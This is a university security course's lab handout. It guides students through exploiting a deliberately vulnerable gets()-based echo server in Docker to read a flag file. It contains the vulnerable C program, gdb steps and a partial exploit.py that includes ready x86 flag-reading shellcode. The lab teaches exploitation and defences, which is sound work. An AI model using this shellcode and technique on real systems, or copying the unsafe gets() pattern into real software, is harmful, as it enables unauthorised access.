New York University
Courant Institute of Mathematical Sciences
CSCI-GA 3033: Practical Computer Security

Buffer Overflow Lab

Due: Mar 3 2021, 11:59 PM (EST)

1 Lab Description

Buffer overflow is defined as the condition in which a program attempts to write data beyond the boundaries of pre-allocated fixed length buffers. This vulnerability can be utilized by a malicious user to alter the flow control of the program, even execute arbitrary pieces of code. This vulnerability arises due to the mixing of the storage for data (e.g. buffers) and the storage for controls (e.g. return addresses): an overflow in the data part can affect the control flow of the program, because an overflow can change the return address.

In this lab, you will be given a program with a buffer-overflow vulnerability; your task is to develop a scheme to exploit the vulnerability and finally gain the root privilege. In addition to the attacks, you will be guided to walk through several protection schemes that have been implemented in the operating system to counter against the buffer-overflow attacks.

You can read more about buffer overflow attacks that are better explained in this paper.

Question 1: Please provide the names and NetIDs of your collaborator (up to 3). If you finished the lab alone, write None.

2 Lab Setup

This lab shares the same template as the previous one. You should not be spending too much time on setup.

2.1 Lab File

Open the assignment folder and use the following commands to clone the `scripts` folder and the lab server folder from GitHub. While also importing Shang's public key. Please check that Shang's public key is imported afterwards or your lab may be unable to be verified.

```
git clone git@github.com:nyupcs/GitCTF-scripts.git scripts
git clone git@github.com:nyupcs/pcs-sp21-lab2-server.git
gpg --import keys/*
```

Go to the folder `pcs-sp21-lab2-server` and use the following command to build the server container:

```
docker build . --file Dockerfile --tag pcs-sp21-lab2-server:latest
```

2.1.1 config.json

Open `config.json`. Replace `[GitHub Username]` with your `GitHub` username. Replace `[NetID]` with your NYU NetID Name. Replace `[Public Key ID]` with the key ID you generated in previous lab. A sample config.json is there for you to follow. This time, instead of writing just NetID, enter [NetID,Full Name] so that it is easier for us to match your submissions. Remember to remove the brackets as well. See sample config.json as reference.

2.2 Vulnerable Program

In the `service` folder inside `pcs-sp21-lab2-server`, you will find `echo.c` which is the vulnerable program used for this lab.

```
#include<stdio.h>
#include<stdlib.h>
#include<string.h>    //strlen
#include<unistd.h>    //write

void interact()
{
    char buf[32];
    printf("buf is at %x\n", buf);
    gets(buf);
    puts(buf);
}

int main()
{
    while (1)
    {
        interact();
        fflush(stdout);
    }
    return 0;
}
```

Question 2: What is the vulnerability here? Explain.

3 Lab Tasks

3.1 Play With the Echo Server

Use the following command to start the server container:

```
docker run -d -p 4000:4000 --name echo-server --cap-add=SYS_PTRACE pcs-sp21-lab2-server
nc 127.0.0.1 4000
```

Now open the CLI of the container through the Docker GUI. If you don't have it, install it here. If you prefer to open it through terminal, by all means.

Now look for Process ID of `echo` and use `gdb` to attach to it.

```
#ps aux
#gdb attach <PID>
(gdb) disas interact
```

You will see the assembler dump. Use this to find useful values for `buf` and `ebp`.

Question 3: Take a screenshot and include it in lab report. What is the distance between buff address and the return address?

Question 4: How would you use that information in the exploit?

3.2 Prepare the File to Submit

Go to the `answer_template` folder. We have provided some files to start.

The `Dockerfile` contains instructions to build a client to perform the attack. Unless you choose to ignore `exploit.py` and write your own solution, you don't have to worry about this file.

The `exploit.py` contains base to start. It already set up the TCP connection for you and the shellcode is already done for you. Now you need to change the [Edit here]s to correct variable and/or value using information from previous section. Once you receive the flag, print the flag to the `stdout`.

```
#!/usr/bin/env python3

from socket import *
import sys
import time
import re

HOST = sys.argv[1]
PORT = int(sys.argv[2])
BUFSIZE = 1024
ADDR = (HOST, PORT)

s = socket(AF_INET, SOCK_STREAM)
try:
    s.connect(ADDR)
except Exception as e:
```

```
    print('Cannot connect to the server.')
    sys.exit()

s.send(b'Tell me where buf is\n')
time.sleep(2)
bufresponse = s.recv(BUFSIZE).decode('utf-8')
bufresponse = [Edit here to parse the buf address out and assign it to bufaddress]

print('Learned that buf is at {}'.format(bufaddr))

retaddr = bufaddr + 0xFFF #<-change 0xFFF number here
print('So retaddr is {}'.format(retaddr))

shellcode = b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"+\
    b"\xeb\x32\x5b\xb0\x05\x31\xc9\xcd"+\
    b"\x80\x89\xc6\xeb\x06\xb0\x01\x31"+\
    b"\xdb\xcd\x80\x89\xf3\xb0\x03\x83"+\
    b"\xec\x01\x8d\x0c\x24\xb2\x01\xcd"+\
    b"\x80\x31\xdb\x39\xc3\x74\xe6\xb0"+\
    b"\x04\xb3\x01\xb2\x01\xcd\x80\x83"+\
    b"\xc4\x01\xeb\xdf\xe8\xc9\xff\xff"+\
    b"\xff"+b"/var/ctf/flag"

payload = [Edit here]
flag= [Edit here]
sys.stdout.write(flag)
```

When you are ready to test your code, you can start the docker container, and use the following command to run your code:

```
python3 exploit.py 127.0.0.1 4000
```

If everything is correct, you should be able to see the flag printed out.

Question 5: Copy and paste your exploit.py in report

When you finished, remember to stop and remove the docker container.

```
docker rm -f echo-server
```

Attention: Before submitting your code, make sure you have stopped and removed the docker container. Otherwise, the submission script will not be able to verify your code because of port conflict.

4 Submission

4.1 Submit Your Code

Rename the folder `answer_template` to `answer` and the file `exploit.py` to `exploit`, and use the following command to submit your code:

```
python3 scripts/gitctf.py submit --exploit answer
                                 --service-dir pcs-sp21-lab2-server
                                 --target lab2 --branch main
```

The script will verify your solution locally. If the code passes the test, it will be uploaded to the lab repo as an issue.

During the upload stage, check `yes` when asked to use Shang and PCS's public key. When the script will ask you for your GitHub password, enter the personal access token that you generated in previous lab. `Please` check that you have successfully generated an issue and your NetID,Full Name has been recorded.

Question 6: What is your issue URL?

4.2 Submit Your Lab Report

You need to submit a lab report to answer all the questions above with screenshots to describe what you have done and what you have observed; you also need to provide brief explanations to the observations that are interesting or surprising.

Late submissions are accepted with 50% grading penalty within 24 hours of the due. Submissions that are late for more than 24 hours will NOT be accepted.

Please submit your solution in PDF or image on `https://www.gradescope.com/courses/225188`, using Entry Code: **86EDWX**. And kindly choose the right page for your answer to every question.

Collaboration Policy

You can optionally form study groups consisting of up to 3 people per group (including yourself).

Everybody should write individually by themselves and submit the lab reports separately. DO NOT copy each other's lab reports, or show your lab reports to anyone other than the course staff, or read other students' lab reports.

5 Acknowledgements

This lab is adopted from the Git-based CTF project. The original project is here and the paper is here.

This PDF was created on 2021-02-23 23:21:11Z.